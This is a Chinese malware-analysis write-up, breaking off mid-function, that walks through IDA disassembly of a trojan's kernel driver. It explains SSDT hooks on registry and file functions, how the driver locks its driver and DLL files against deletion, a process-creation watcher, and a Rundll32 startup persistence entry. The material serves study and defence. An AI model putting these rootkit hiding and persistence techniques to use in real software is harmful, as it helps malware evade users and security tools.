一个驱动木马的分析

木马核心技术剖析读书笔记之木马驱动加载与启动 Windows 系统启动过程 基于 UEFI 的启动过程 UEFI 固件接口可以实现 BIOS 固件接口类似的功能,逐步成为主流的固件接口之一。它主要提供一组在操作系统启动之前在所有平台上一致的服务,是在 EFI 1.0 基础上发展起来的新型可扩展固件接口,得到了大多数行业主流企业的支持 UEFI 的几乎所有组件都用 C 语言开发完成,不再使用中断、硬件端口直接操作的方法,而是采用 ... 阅读详情
【文章标题】: 一个驱动木马的分析
【文章作者】: prince
【作者邮箱】: cracker_prince@163.com
【作者QQ号】: 812937
【软件名称】: Trojan program Trojan-Downloader.Win32.Agent.bbb(卡巴命名)
【下载地址】: http://www.unpack.cn/viewthread.php?tid=8733&extra=page%3D1
【加壳方式】: 无
【编写语言】: ---
【使用工具】: IDA 5.0, WinDbg 6.6.007.5, VMWare 5.5.
【操作平台】: WINDOWS XP
【软件介绍】: 某木马or恶意软件的driver部分
【作者声明】: 水平有限,了解不多,仅作参考。
--------------------------------------------------------------------------------
【前言】
大概2个多星期前看到在Unpack『 病毒木马 』区Lvg同学发了这个样本,就用业余时间

看了看。本人纯属入门级选手,所以各位看到有什么解释的不妥或者直接让您喷饭地方,还请不吝赐教,

谢谢。

【详细过程】
由于是驱动文件,不考虑极端情况,就认为它没壳,直接IDA之。

入口:

.text:00010F5B ; *************** S U B R O U T I N E ***************************************
.text:00010F5B
.text:00010F5B
.text:00010F5B ; int __stdcall start(PDRIVER_OBJECT DriverObject,int)
.text:00010F5B public start
.text:00010F5B start proc near
.text:00010F5B
.text:00010F5B DriverObject = dword ptr 4
.text:00010F5B arg_4 = dword ptr 8
.text:00010F5B
.text:00010F5B push [esp+arg_4] ; RegistryPath
.text:00010F5F call sub_10966 ; 参数为:RegistryPath;
.text:00010F5F ; 修改SDT,hook关键函数
.text:00010F5F
.text:00010F64 test al, al ; 判断hook是否成功
.text:00010F66 jnz short loc_10F6F ; 成功则跳
.text:00010F66
.text:00010F68 mov eax, 0C0000001h ; 否则返回STATUS_UNSUCCESSFUL

(0C0000001h)
.text:00010F6D jmp short locret_10FD2
.text:00010F6D
.text:00010F6F ; ---------------------------------------------------------------------------
.text:00010F6F
.text:00010F6F loc_10F6F: ; CODE XREF: start+Bj
.text:00010F6F push esi
.text:00010F70 push edi
.text:00010F71 xor edi, edi ; edi清零
.text:00010F73 xor esi, esi ; esi清零
.text:00010F75 inc esi
.text:00010F76 mov dword_1160C, esi ; dword_1160C = 1
.text:00010F7C mov dword_11608, edi ; dword_11608 = 0
.text:00010F82 mov dword_115FC, esi ; dword_115FC = 1
.text:00010F88 mov dword_115F8, edi ; dword_115F8 = 0
.text:00010F8E mov dword_11604, edi ; dword_11604 = 0
.text:00010F94 mov dword_11600, edi ; dword_11600 = 0
.text:00010F9A mov dword_11614, edi ; dword_11614 = 0
.text:00010FA0 mov Handle, edi ; Handle = 0
.text:00010FA6 call sub_10EFF ; 创建线程 - 设置注册表注册驱动和打开

dll和sys文件
.text:00010FA6
.text:00010FAB call sub_10C61 ; ZwCreateFile打开"/SystemRoot",判

断hook是否成功?
.text:00010FAB
.text:00010FB0 test al, al ; 利用返回值判断是否打开成功
.text:00010FB2 jz short loc_10FBC ; 打开失败则跳
.text:00010FB2
.text:00010FB4 push esi
.text:00010FB5 call sub_106B9 ; 用原始的NtCreateFile打开
.text:00010FB5 ; "/SystemRoot/system32

/drivers/esqyo.sys" 和
.text:00010FB5 ; "/SystemRoot/system32/ydljs.dll"并

保存句柄
.text:00010FB5 ; 目的是防止这两个文件被关闭和删除
.text:00010FB5
.text:00010FBA jmp short loc_10FC5
.text:00010FBA
.text:00010FBC ; ---------------------------------------------------------------------------
.text:00010FBC
.text:00010FBC loc_10FBC: ; CODE XREF: start+57j
.text:00010FBC push [esp+8+DriverObject] ; DriverObject
.text:00010FC0 call sub_10D1B ; 如果出现什么问题则调用

IoRegisterDriverReinitialization
.text:00010FC0 ; 重新再来一遍。狠...
.text:00010FC0
.text:00010FC5
.text:00010FC5 loc_10FC5: ; CODE XREF: start+5Fj
.text:00010FC5 push edi ; Remove - edi = 0 (FALSE - 创建

hookRoutine)
.text:00010FC6 push offset NotifyRoutine ; NotifyRoutine - (监视函数)
.text:00010FC6 ; 该函数监视explorer.exe进程启动,跟

目标同时启动打开驱动、dll,写注册表等动作
.text:00010FCB call PsSetCreateProcessNotifyRoutine ; 监视进程创建及销毁
.text:00010FCB
.text:00010FD0 pop edi
.text:00010FD1 pop esi
.text:00010FD1
.text:00010FD2
.text:00010FD2 locret_10FD2: ; CODE XREF: start+12j
.text:00010FD2 retn 8
.text:00010FD2
.text:00010FD2 start endp

************************************************************************
跟进sub_10966:

.text:00010966 ; arg_0
.text:00010966
.text:00010966 sub_10966 proc near ; CODE XREF: start+4p
.text:00010966
.text:00010966 arg_0 = dword ptr 8
.text:00010966
.text:00010966 push ebx ; arg_0
.text:00010967 call sub_10857 ; 对一些常量字符串进行解码还原
.text:00010967
.text:0001096C xor ebx, ebx
.text:0001096E push ebx ; CSDVersion - NULL
.text:0001096F push offset BuildNumber ; BuildNumber
.text:00010974 push offset MinorVersion ; MinorVersion
.text:00010979 push offset MajorVersion ; MajorVersion
.text:0001097E call PsGetVersion ; 获取系统版本号,build number
.text:0001097E
.text:00010983 call sub_107F0 ; 在当前进程的EPROCESS结构中搜索字符

串"System",
.text:00010983 ; 返回的偏移值后面要用到
.text:00010983
.text:00010988 cmp eax, ebx ; 检查是否搜索到了指定字符串
.text:0001098A mov dword_118F0, eax ; 保存字符串在EPROCESS结构中的偏移,
.text:0001098A ; 即dword_118F0 =

EPROCESS.ImageFileName
.text:0001098F jnz short loc_10998 ; 找到则跳走
.text:0001098F
.text:00010991 xor al, al ; 如果没找到指定字符串,则al 清零
.text:00010993 jmp loc_10A2C ; 跳到函数结尾返回
.text:00010993
.text:00010998 ; ---------------------------------------------------------------------------
.text:00010998
.text:00010998 loc_10998: ; CODE XREF: sub_10966+29j
.text:00010998 push ebp
.text:00010999 push esi
.text:0001099A push edi
.text:0001099B push 40h ; size_t
.text:0001099D push ebx ; int
.text:0001099E mov esi, offset word_11618
.text:000109A3 push esi ; void *
.text:000109A4 call memset ; 变量word_11618清零 (大小为0x40)
.text:000109A4
.text:000109A9 mov edi, ds:wcsncpy
.text:000109AF push 1Fh ; size_t
.text:000109B1 push offset s_Esqyo ; "esqyo"
.text:000109B6 push esi ; wchar_t *
.text:000109B7 call edi ; wcsncpy ; 拷贝字符串"esqyo"至变量word_11618
.text:000109B9 push 40h ; size_t
.text:000109BB push ebx ; int
.text:000109BC mov esi, offset unk_116A0
.text:000109C1 push esi ; void *
.text:000109C2 call memset ; 将变量unk_116a0清零 (大小为0x40)
.text:000109C2
.text:000109C7 push 1Fh ; size_t
.text:000109C9 push offset s_Ydljs ; "ydljs"
.text:000109CE push esi ; wchar_t *
.text:000109CF call edi ; wcsncpy ; 拷贝字符串"ydljs"至变量unk_116a0
.text:000109D1 mov ebp, 200h
.text:000109D6 push ebp ; size_t
.text:000109D7 push ebx ; int
.text:000109D8 mov esi, offset unk_116F0
.text:000109DD push esi ; void *
.text:000109DE call memset ; 将变量unk_116f0清零 (大小0x200)
.text:000109DE
.text:000109E3 push 40h ; size_t
.text:000109E5 push ebx ; int
.text:000109E6 mov ebx, offset word_11658
.text:000109EB push ebx ; void *
.text:000109EC call memset ; 将变量word_11658清零 (大小0x40)
.text:000109EC
.text:000109F1 add esp, 48h
.text:000109F4 push 1Fh ; size_t
.text:000109F6 push offset s_Ydljs_0 ; "ydljs"
.text:000109FB push ebx ; wchar_t *
.text:000109FC call edi ; wcsncpy ; 拷贝字符串"ydljs"至变量word_11658
.text:000109FE push ebp ; size_t
.text:000109FF push 0 ; int
.text:00010A01 push esi ; void *
.text:00010A02 call memset ; 将变量unk_116f0清零 (大小0x200)
.text:00010A02
.text:00010A07 mov eax, [esp+24h+arg_0] ; +0x024 HardwareDatabase

: Ptr32 _UNICODE_STRING
.text:00010A07 ; Pointer to the

/Registry/Machine/Hardware path to the hardware configuration information in the registry.
.text:00010A0B movzx ecx, word ptr [eax]
.text:00010A0E push ecx ; size_t
.text:00010A0F push dword ptr [eax+4] ; void *
.text:00010A0F ;

"/REGISTRY/MACHINE/SYSTEM/ControlSet001/Services/esqyo"
.text:00010A12 push esi ; void *
.text:00010A13 call memcpy ; 将HardwareDatabase字符串拷贝至变量

unk_116f0
.text:00010A13
.text:00010A18 push esi ; wchar_t *
.text:00010A19 call ds:_wcslwr ; 转换为小写字母
.text:00010A19 ;

"registry/machine/system/controlset001/services/esqyo"
.text:00010A1F add esp, 28h
.text:00010A22 call sub_10883 ; 修改SDT来HOOK ZwCreateFile、

ZwSetValueKey、
.text:00010A22 ; ZwEnumerateKey、ZwOpenKey、ZwClose

等函数入口
.text:00010A22
.text:00010A27 pop edi
.text:00010A28 pop esi
.text:00010A29 mov al, 1 ; 返回1表示成功
.text:00010A2B pop ebp
.text:00010A2B
.text:00010A2C
.text:00010A2C loc_10A2C: ; CODE XREF: sub_10966+2Dj
.text:00010A2C pop ebx
.text:00010A2D retn 4
.text:00010A2D
.text:00010A2D sub_10966 endp
*************************************************************************************

sub_10857是对一些常量字符串的解码函数,所谓解码,其实就是将字符的ASCII码+1,呵呵。

sub_107F0搜索EPROCESS结构中的ImageFileName来计算偏移位置,后面判断进程创建的时候要用到这个值。

.text:000107F0 sub_107F0 proc near ; CODE XREF: sub_10966+1Dp
.text:000107F0 push ebx
.text:000107F1 push esi
.text:000107F2 push edi
.text:000107F3 call ds:IoGetCurrentProcess ; 获取当前进程的PEPROCESS结构

指针
.text:000107F9 mov ebx, eax ; 保存指针至ebx
.text:000107FB xor edi, edi ; edi清零
.text:000107FD mov esi, offset s_Rxrsdl ; esi指向字符串"System"
.text:000107FD
.text:00010802
.text:00010802 loc_10802: ; CODE XREF: sub_107F0+32j
.text:00010802 push esi ; char *
.text:00010803 call strlen ; 取"System"字符串长度
.text:00010803
.text:00010808 push eax ; size_t 比较字符串的长度
.text:00010809 lea eax, [edi+ebx]
.text:0001080C push eax ; char *
.text:0001080D push esi ; char *
.text:0001080E call ds:strncmp ; 比较字符串是否相等
.text:00010814 add esp, 10h
.text:00010817 test eax, eax
.text:00010819 jz short loc_1082A ; 相等就跳
.text:00010819
.text:0001081B inc edi
.text:0001081C cmp edi, 3000h ; 遍历EPROCESS结构,搜索指定字符串
.text:00010822 jl short loc_10802
.text:00010822
.text:00010824 xor eax, eax ; 没有找到指定字符串,返回0
.text:00010824
.text:00010826
.text:00010826 loc_10826: ; CODE XREF: sub_107F0+3Cj
.text:00010826 pop edi
.text:00010827 pop esi
.text:00010828 pop ebx
.text:00010829 retn
.text:00010829
.text:0001082A ; ---------------------------------------------------------------------------
.text:0001082A
.text:0001082A loc_1082A: ; CODE XREF: sub_107F0+29j
.text:0001082A mov eax, edi ; 返回指定字符串在EPROCESS中的偏移位

置
.text:0001082C jmp short loc_10826
.text:0001082C
.text:0001082C sub_107F0 endp

sub_10883利用修改SDT来hook一些函数:

.text:00010883
.text:00010883 sub_10883 proc near ; CODE XREF: sub_10966+BCp
.text:00010883 mov eax, ds:ZwCreateFile
.text:00010888 push ebx
.text:00010889 mov ebx, ds:ZwSetValueKey
.text:0001088F push ebp
.text:00010890 mov ebp, ds:ZwEnumerateKey
.text:00010896 push esi
.text:00010897 mov esi, ds:ZwOpenKey
.text:0001089D push edi
.text:0001089E mov edi, ds:ZwClose
.text:000108A4 mov dword_11698, esi ; ZwOpenKey
.text:000108AA mov dword_116E8, edi ; ZwClose
.text:000108B0 mov dword_116E4, ebx ; ZwSetValueKey
.text:000108B6 mov dword_116E0, ebp ; ZwEnumerateKey
.text:000108BC mov dword_116EC, eax ; ZwCreateFile
.text:000108C1 call sub_110EB ; 得到ntoskrnl.exe,并映射到内存
.text:000108C1
.text:000108C6 test al, al ; 检查返回值
.text:000108C8 jz loc_1095F ; 失败则跳走
.text:000108C8
.text:000108CE push esi ; ZwOpenKey
.text:000108CF call sub_111E8 ; 修改SDT,返回一个地址(原始

NtOpenKey函数地址)
.text:000108CF
.text:000108D4 push ebx ; ZwSetValueKey
.text:000108D5 mov dword_11698, eax ; dword_11698 = 原始NtOpenKey函数地

址
.text:000108DA call sub_111E8
.text:000108DA
.text:000108DF push ebp ; ZwEnumerateKey
.text:000108E0 mov dword_116E4, eax ; dword_116E4 = 原始NtSetValueKey函

数地址
.text:000108E5 call sub_111E8
.text:000108E5
.text:000108EA push edi ; ZwClose
.text:000108EB mov dword_116E0, eax ; dword_116E0 = 原始NtEnumerateKey函

数地址
.text:000108F0 call sub_111E8
.text:000108F0
.text:000108F5 push ds:ZwCreateFile
.text:000108FB mov dword_116E8, eax ; dword_116E8 = 原始NtClose函数地址
.text:00010900 call sub_111E8
.text:00010900
.text:00010905 mov dword_116EC, eax ; dword_116EC = 原始NtCreateFile函数

地址
.text:0001090A call sub_11222 ; 取消映射,关闭section、file等句柄
.text:0001090A
.text:0001090F xor eax, eax
.text:00010911 cmp dword_11698, eax ; 判断dword_11698(NtOpenKey())是否为

空
.text:00010917 jz short loc_1093D ; 为零则跳
.text:00010917
.text:00010919 cmp dword_116E4, eax ; 判断dword_116E4(NtSetValueKey())是

否为空
.text:0001091F jz short loc_1093D
.text:0001091F
.text:00010921 cmp dword_116E0, eax ; 判断dword_116E0(NtEnumerateKey())

是否为空
.text:00010927 jz short loc_1093D
.text:00010927
.text:00010929 cmp dword_116E8, eax ; 判断dword_116E8(NtClose)是否为空
.text:0001092F jz short loc_1093D
.text:0001092F
.text:00010931 cmp dword_116EC, eax ; 判断dword_116EC(NtCreateFile)是否

为空
.text:00010937 jz short loc_1093D
.text:00010937
.text:00010939 mov al, 1
.text:0001093B jmp short loc_10961 ; 否则返回1
.text:0001093B
.text:0001093D ; ---------------------------------------------------------------------------
.text:0001093D
.text:0001093D loc_1093D: ; CODE XREF: sub_10883+94j
.text:0001093D ; sub_10883+9Cj
.text:0001093D ; sub_10883+A4j
.text:0001093D ; sub_10883+ACj
.text:0001093D ; sub_10883+B4j
.text:0001093D mov eax, ds:ZwCreateFile
.text:00010942 mov dword_11698, esi ; esi = ZwOpenKey
.text:00010948 mov dword_116E8, edi ; edi = ZwClose
.text:0001094E mov dword_116E4, ebx ; ebx = ZwSetValueKey
.text:00010954 mov dword_116E0, ebp ; ebp = ZwEnumerateKey
.text:0001095A mov dword_116EC, eax ; eax = ZwCreateFile
.text:0001095A
.text:0001095F
.text:0001095F loc_1095F: ; CODE XREF: sub_10883+45j
.text:0001095F xor al, al ; 返回0
.text:0001095F
.text:00010961
.text:00010961 loc_10961: ; CODE XREF: sub_10883+B8j
.text:00010961 pop edi
.text:00010962 pop esi
.text:00010963 pop ebp
.text:00010964 pop ebx
.text:00010965 retn
.text:00010965
.text:00010965 sub_10883 endp

sub_110EB函数用来定位ntoskrnl.exe在内存中的位置;
sub_111E8函数开始修改SDT,hook自己关心的函数,并返回原始函数地址,留到后面给自己用:

.text:000111E8 sub_111E8 proc near ; CODE XREF: sub_10883+4Cp
.text:000111E8 ; sub_10883+57p
.text:000111E8 ; sub_10883+62p
.text:000111E8 ; sub_10883+6Dp
.text:000111E8 ; sub_10883+7Dp
.text:000111E8
.text:000111E8 arg_0 = dword ptr 4
.text:000111E8
.text:000111E8 mov eax, BaseAddress
.text:000111ED test eax, eax
.text:000111EF jz short locret_1121F ; 基址为空则返回
.text:000111EF
.text:000111F1 mov ecx, [esp+arg_0] ; ecx = 压栈的函数地址
.text:000111F5 mov ecx, [ecx+1] ; 取该函数的在SDT中的索引号(magic

number)
.text:000111F5 ; 根据反汇编Zw**可以得知,函数入口处

+1的值即是magic number
.text:000111F8 test ch, 30h
.text:000111FB push esi
.text:000111FC jnz short loc_1121C
.text:000111FC
.text:000111FE push ecx ; ecx = 入栈函数在SDT中的索引号
.text:000111FF push eax ; eax = BaseAddress
.text:00011200 push dword_11904 ; dword_11904为ntoskrnl.exe的基址
.text:00011206 call sub_10C07 ; 修改SDT,替换函数入口,返回原始函数

地址。
.text:00011206
.text:0001120B mov esi, eax ; 保存返回的地址
.text:0001120D push esi ; VirtualAddress
.text:0001120E call ds:MmIsAddressValid ; 检查该地址的有效性
.text:00011214 test al, al
.text:00011216 jz short loc_1121C ; 如果地址不可用则跳走
.text:00011216
.text:00011218 mov eax, esi ; 否则保留该地址为此函数的返回值
.text:0001121A jmp short loc_1121E
.text:0001121A
.text:0001121C ; ---------------------------------------------------------------------------
.text:0001121C
.text:0001121C loc_1121C: ; CODE XREF: sub_111E8+14j
.text:0001121C ; sub_111E8+2Ej
.text:0001121C xor eax, eax ; 返回值置零,表示失败
.text:0001121C
.text:0001121E
.text:0001121E loc_1121E: ; CODE XREF: sub_111E8+32j
.text:0001121E pop esi
.text:0001121E
.text:0001121F
.text:0001121F locret_1121F: ; CODE XREF: sub_111E8+7j
.text:0001121F retn 4
.text:0001121F
.text:0001121F sub_111E8 endp

hook SDT的代码,网上多得很,我这里没有仔细分析。简单用Windbg跟了一下,察看sub_10C07函数返回

的地址,在Windbg中用 uf 命令来反汇编压栈的函数,看看地址是否吻合;或者用 ln 命令直接察看该地

址也可以。所以可以猜测hook函数原型是:NTPROC* HookFuncBySdt(NTPROC *Zw***);

**********************************************************************

一路返回到我们开始的地方,继续看下面的代码:
sub_10EFF创建了一个线程,用来写注册表注册驱动,跟进之后来到:
...
.text:00010F35 add esp, 18h
.text:00010F38 push offset sub_104D0 ; StartContext (回调函数的参数)
.text:00010F3D push edi ; StartRoutine
.text:00010F3E push esi ; ClientId
.text:00010F3F push esi ; ProcessHandle
.text:00010F40 push esi ; ObjectAttributes
.text:00010F41 push esi ; DesiredAccess
.text:00010F42 lea eax, [ebp+Handle]
.text:00010F45 push eax ; ThreadHandle
.text:00010F46 call ds:PsCreateSystemThread ; 创建线程 sub_10EEF
...

线程回调函数的参数sub_104D0也是一个函数地址,用来写注册表来注册这个驱动;
StartRoutine主要是打开2个文件,保存他们的句柄,使得用户不能关闭或删除他们:

.text:00010DC5 ; void __stdcall StartRoutine(PVOID)
.text:00010DC5 StartRoutine proc near ; DATA XREF: NotifyRoutine+D6o
.text:00010DC5
.text:00010DC5 Interval = LARGE_INTEGER ptr -8
.text:00010DC5
.text:00010DC5 push ebp
.text:00010DC6 mov ebp, esp
.text:00010DC8 push ecx
.text:00010DC9 push ecx
.text:00010DCA or dword ptr [ebp+Interval+4], 0FFFFFFFFh
.text:00010DCE lea eax, [ebp+Interval]
.text:00010DD1 push eax ; Interval
.text:00010DD2 push 0 ; Alertable
.text:00010DD4 push 0 ; WaitMode
.text:00010DD6 mov dword ptr [ebp+Interval], 0FA0A1F00h
.text:00010DDD call ds:KeDelayExecutionThread
.text:00010DE3 push 1
.text:00010DE5 call sub_106B9 ; 打开驱动和dll文件
.text:00010DE5
.text:00010DEA push 1 ; ExitStatus
.text:00010DEC call ds:PsTerminateSystemThread
.text:00010DF2 leave
.text:00010DF3 retn 4
.text:00010DF3
.text:00010DF3 StartRoutine endp

打开文件函数sub_106B9:

.text:000106B9 SourceString = word ptr -100h
.text:000106B9 arg_0 = dword ptr 8
.text:000106B9
.text:000106B9 push ebp
.text:000106BA mov ebp, esp
.text:000106BC sub esp, 100h
.text:000106C2 and [ebp+SourceString], 0
.text:000106CA push ebx
.text:000106CB push esi
.text:000106CC push edi
.text:000106CD push 3Fh
.text:000106CF pop ecx
.text:000106D0 xor eax, eax
.text:000106D2 lea edi, [ebp-0FEh]
.text:000106D8 rep stosd
.text:000106DA stosw
.text:000106DC mov edi, 100h
.text:000106E1 push edi ; size_t
.text:000106E2 lea eax, [ebp+SourceString]
.text:000106E8 push 0 ; int
.text:000106EA push eax ; void *
.text:000106EB call memset ; SourceString清零
.text:000106EB
.text:000106F0 mov esi, ds:swprintf
.text:000106F6 push offset word_11618 ; word_11618 == 字符串"esqyo"
.text:000106FB push offset asc_1139E ; 解码后asc_1139E ==

"/SystemRoot/system32/drivers/"
.text:00010700 lea eax, [ebp+SourceString]
.text:00010706 push offset s_SS_sys ; "%s%s.sys"
.text:0001070B push eax ; wchar_t *
.text:0001070C call esi ; swprintf ; 格式化后的字符串

为:"/SystemRoot/system32/drivers/esqyo.sys"
.text:0001070E mov ebx, ds:ZwClose
.text:00010714 add esp, 1Ch
.text:00010717 cmp [ebp+arg_0], 1 ; 检查压栈参数(打开文件是否成功)
.text:0001071B jnz short loc_10741 ; 打开文件失败则跳走
.text:0001071B
.text:0001071D mov eax, Handle ; esqyo.sys文件句柄
.text:00010722 test eax, eax
.text:00010724 jz short loc_10730 ; 句柄为空则跳
.text:00010724
.text:00010726 push eax ; Handle
.text:00010727 call ebx ; ZwClose ; 否则,关闭之
.text:00010729 and Handle, 0 ; Handle清零
.text:00010729
.text:00010730
.text:00010730 loc_10730: ; CODE XREF: sub_106B9+6Bj
.text:00010730 push offset dword_115F8 ; int - dword_115F8 = 0
.text:00010735 lea eax, [ebp+SourceString]
.text:0001073B push eax ; SourceString =

"/SystemRoot/system32/drivers/esqyo.sys"
.text:0001073C call sub_10440 ; CreateFile打开该文件
.text:0001073C
.text:00010741
.text:00010741 loc_10741: ; CODE XREF: sub_106B9+62j
.text:00010741 cmp [ebp+arg_0], 0 ; 检查压栈参数(打开文件是否成功)
.text:00010745 jnz short loc_1076B ; 打开成功则跳走
.text:00010745
.text:00010747 mov eax, dword_115F8 ; dword_115F8 = 0
.text:0001074C test eax, eax
.text:0001074E jz short loc_1075A ; 如果为0则跳走
.text:0001074E
.text:00010750 push eax ; Handle
.text:00010751 call ebx ; ZwClose ; 不为0则将该句柄关闭
.text:00010753 and dword_115F8, 0 ; 将其清零
.text:00010753
.text:0001075A
.text:0001075A loc_1075A: ; CODE XREF: sub_106B9+95j
.text:0001075A push offset Handle ; int - Handle = 0
.text:0001075F lea eax, [ebp+SourceString] ; SourceString =

"/SystemRoot/system32/drivers/esqyo.sys"
.text:00010765 push eax ; SourceString
.text:00010766 call sub_10440 ; 再次尝试NtCreateFile打开该文件
.text:00010766
.text:0001076B
.text:0001076B loc_1076B: ; CODE XREF: sub_106B9+8Cj
.text:0001076B push edi ; size_t
.text:0001076C lea eax, [ebp+SourceString]
.text:00010772 push 0 ; int
.text:00010774 push eax ; void *
.text:00010775 call memset ; SourceString清零
.text:00010775
.text:0001077A push offset unk_116A0 ; unk_116A0 = "ydljs"
.text:0001077F push offset asc_113DA ; asc_113DA解码后

为:"/SystemRoot/system32/"
.text:00010784 lea eax, [ebp+SourceString]
.text:0001078A push offset s_SS_dll ; "%s%s.dll"
.text:0001078F push eax ; wchar_t *
.text:00010790 call esi ; swprintf ; SourceString =

"/SystemRoot/system32/ydljs.dll"
.text:00010792 add esp, 1Ch
.text:00010795 cmp [ebp+arg_0], 1 ; 判断压栈参数
.text:00010799 jnz short loc_107BF ; 如果arg_0 != 1则跳走不执行打开该文

件的动作
.text:00010799
.text:0001079B mov eax, dword_11600 ; dword_11600 == 0
.text:000107A0 test eax, eax
.text:000107A2 jz short loc_107AE ; 如果dword_11600为0则跳去打开此文件
.text:000107A2
.text:000107A4 push eax ; Handle
.text:000107A5 call ebx ; ZwClose ; 否则将该句柄关闭
.text:000107A7 and dword_11600, 0 ; dword_11600清零
.text:000107A7
.text:000107AE
.text:000107AE loc_107AE: ; CODE XREF: sub_106B9+E9j
.text:000107AE push offset dword_11608 ; int - dword_11608 == 0
.text:000107B3 lea eax, [ebp+SourceString]
.text:000107B9 push eax ; SourceString - SourceString =

"/SystemRoot/system32/ydljs.dll"
.text:000107BA call sub_10440 ; 调用原始的NtCreateFile打开该文件
.text:000107BA
.text:000107BF
.text:000107BF loc_107BF: ; CODE XREF: sub_106B9+E0j
.text:000107BF cmp [ebp+arg_0], 0 ; 判断压栈参数是否为0
.text:000107C3 jnz short loc_107E9 ; 不为0则跳走直接返回
.text:000107C3
.text:000107C5 mov eax, dword_11608
.text:000107CA test eax, eax ; 判断dword_11608是否为0
.text:000107CC jz short loc_107D8 ; 如果dword_11608为0则跳去打开该dll
.text:000107CC
.text:000107CE push eax ; Handle
.text:000107CF call ebx ; ZwClose ; 否则将其关闭
.text:000107D1 and dword_11608, 0 ; dword_11608 = 0
.text:000107D1
.text:000107D8
.text:000107D8 loc_107D8: ; CODE XREF: sub_106B9+113j
.text:000107D8 push offset dword_11600 ; int - dword_11600 = 0
.text:000107DD lea eax, [ebp+SourceString]
.text:000107E3 push eax ; SourceString - SourceString =

"/SystemRoot/system32/ydljs.dll"
.text:000107E4 call sub_10440 ; 用原始的NtCreateFile函数打开该dll
.text:000107E4
.text:000107E9
.text:000107E9 loc_107E9: ; CODE XREF: sub_106B9+10Aj
.text:000107E9 pop edi
.text:000107EA pop esi
.text:000107EB pop ebx
.text:000107EC leave
.text:000107ED retn 4
.text:000107ED
.text:000107ED sub_106B9 endp

回到DriverEntry,sub_10C61这个函数用hook之后的ZwCreateFile来打开"/SystemRoot",可能是用来判

断前面的hook工作是否成功?接下来判断返回值,如果认为失败,跳到loc_10FBC调用

IoRegisterDriverReinitialization函数重新初始化驱动,直到一切都OK...

最后PsSetCreateProcessNotifyRoutine监视进程创建,我们来看看它做了什么:

.text:00010DF6 ; void __stdcall NotifyRoutine(HANDLE,HANDLE,BOOLEAN)
.text:00010DF6 NotifyRoutine proc near ; DATA XREF: start+6Bo
.text:00010DF6
.text:00010DF6 SourceString = word ptr -210h
.text:00010DF6 var_10 = byte ptr -10h
.text:00010DF6 Handle = dword ptr 0Ch
.text:00010DF6 arg_8 = byte ptr 10h
.text:00010DF6
.text:00010DF6 push ebp
.text:00010DF7 mov ebp, esp
.text:00010DF9 sub esp, 210h
.text:00010DFF push ebx
.text:00010E00 xor ebx, ebx ; ebx = 0
.text:00010E02 cmp [ebp+arg_8], bl ; 判断是否是进程销毁事件
.text:00010E05 jz loc_10EEA ; 是的话跳走返回(不关心进程销毁)
.text:00010E05
.text:00010E0B cmp [ebp+Handle], 14h
.text:00010E0F jb loc_10EEA ; 如果Handle < 0x14的话也直接返回
.text:00010E0F
.text:00010E15 lea eax, [ebp+arg_8]
.text:00010E18 push eax ; 进程ID
.text:00010E19 push [ebp+Handle] ; EPROCESS buffer
.text:00010E1C mov dword ptr [ebp+arg_8], ebx
.text:00010E1F call ds:PsLookupProcessByProcessId
.text:00010E25 test eax, eax ; 判断结果是否成功
.text:00010E27 jl loc_10EEA
.text:00010E27
.text:00010E2D mov ecx, dword ptr [ebp+arg_8] ; ecx = EPROCESS
.text:00010E30 xor eax, eax ; eax = 0
.text:00010E32 push esi
.text:00010E33 push edi
.text:00010E34 mov [ebp+var_10], bl
.text:00010E37 lea edi, [ebp-0Fh]
.text:00010E3A stosd
.text:00010E3B stosd
.text:00010E3C stosd
.text:00010E3D stosw
.text:00010E3F stosb
.text:00010E40 mov eax, dword_118F0 ; dword_118F0 是字符串"System"在

EPROCESS结构中的偏移
.text:00010E40 ; 也就是EPROCESS.ImageFileName
.text:00010E45 add eax, ecx ; 定位偏移地址
.text:00010E47 push 0Fh ; size_t
.text:00010E49 push eax ; char *
.text:00010E4A lea eax, [ebp+var_10]
.text:00010E4D push eax ; char *
.text:00010E4E call ds:strncpy
.text:00010E54 mov esi, ds:_stricmp
.text:00010E5A lea eax, [ebp+var_10]
.text:00010E5D push offset s_Trdqhmhs-dwd ; s_Trdqhmhs-dwd解码后

为:"userinit.exe"
.text:00010E62 push eax ; char *
.text:00010E63 call esi ; _stricmp ; 比较字符串
.text:00010E65 add esp, 14h
.text:00010E68 test eax, eax ; 判断结果
.text:00010E6A jnz short loc_10EBA ; 不是指定进程则跳
.text:00010E6A
.text:00010E6C push 7Fh
.text:00010E6E pop ecx
.text:00010E6F mov [ebp+SourceString], bx
.text:00010E76 lea edi, [ebp-20Eh]
.text:00010E7C rep stosd
.text:00010E7E push 200h ; size_t
.text:00010E83 stosw
.text:00010E85 lea eax, [ebp+SourceString]
.text:00010E8B push ebx ; int
.text:00010E8C push eax ; void *
.text:00010E8D call memset ; 否则对SourceString进行清零
.text:00010E8D
.text:00010E92 push offset unk_116A0 ; unk_116A0 = "ydljs"
.text:00010E97 lea eax, [ebp+SourceString]
.text:00010E9D push offset s_SystemrootSys ; "%%systemroot%%//system32

//Rundll32.exe %%"...
.text:00010EA2 push eax ; wchar_t *
.text:00010EA3 call ds:swprintf ; SourceString =
.text:00010EA3 ; "%systemroot%/system32/Rundll32.exe

%systemroot%/system32/ydljs.dll,DllUnregisterServer"
.text:00010EA9 add esp, 18h
.text:00010EAC lea eax, [ebp+SourceString]
.text:00010EB2 push eax ; SourceString
.text:00010EB3 call sub_10D2F ; 写注册表,用rundll32.exe在启动的时

候加载ydljs.dll
.text:00010EB3
.text:00010EB8 jmp short loc_10EE8
.text:00010EB8
.text:00010EBA ; ---------------------------------------------------------------------------
.text:00010EBA
.text:00010EBA loc_10EBA: ; CODE XREF: NotifyRoutine+74j
.text:00010EBA lea eax, [ebp+var_10]
.text:00010EBD push offset s_Explorer_exe ; "explorer.exe"
.text:00010EC2 push eax ; char *
.text:00010EC3 call esi ; _stricmp ; 判断进程名字是否是explorer.exe
.text:00010EC5 test eax, eax
.text:00010EC7 pop ecx
.text:00010EC8 pop ecx
.text:00010EC9 jnz short loc_10EE8 ; 不是则跳走返回
.text:00010EC9
.text:00010ECB push ebx ; StartContext
.text:00010ECC push offset StartRoutine ; StartRoutine
.text:00010ECC ; 该函数用来打开驱动和dll文件
.text:00010ED1 push ebx ; ClientId
.text:00010ED2 push ebx ; ProcessHandle
.text:00010ED3 push ebx ; ObjectAttributes
.text:00010ED4 push ebx ; DesiredAccess
.text:00010ED5 lea eax, [ebp+Handle]
.text:00010ED8 push eax ; ThreadHandle
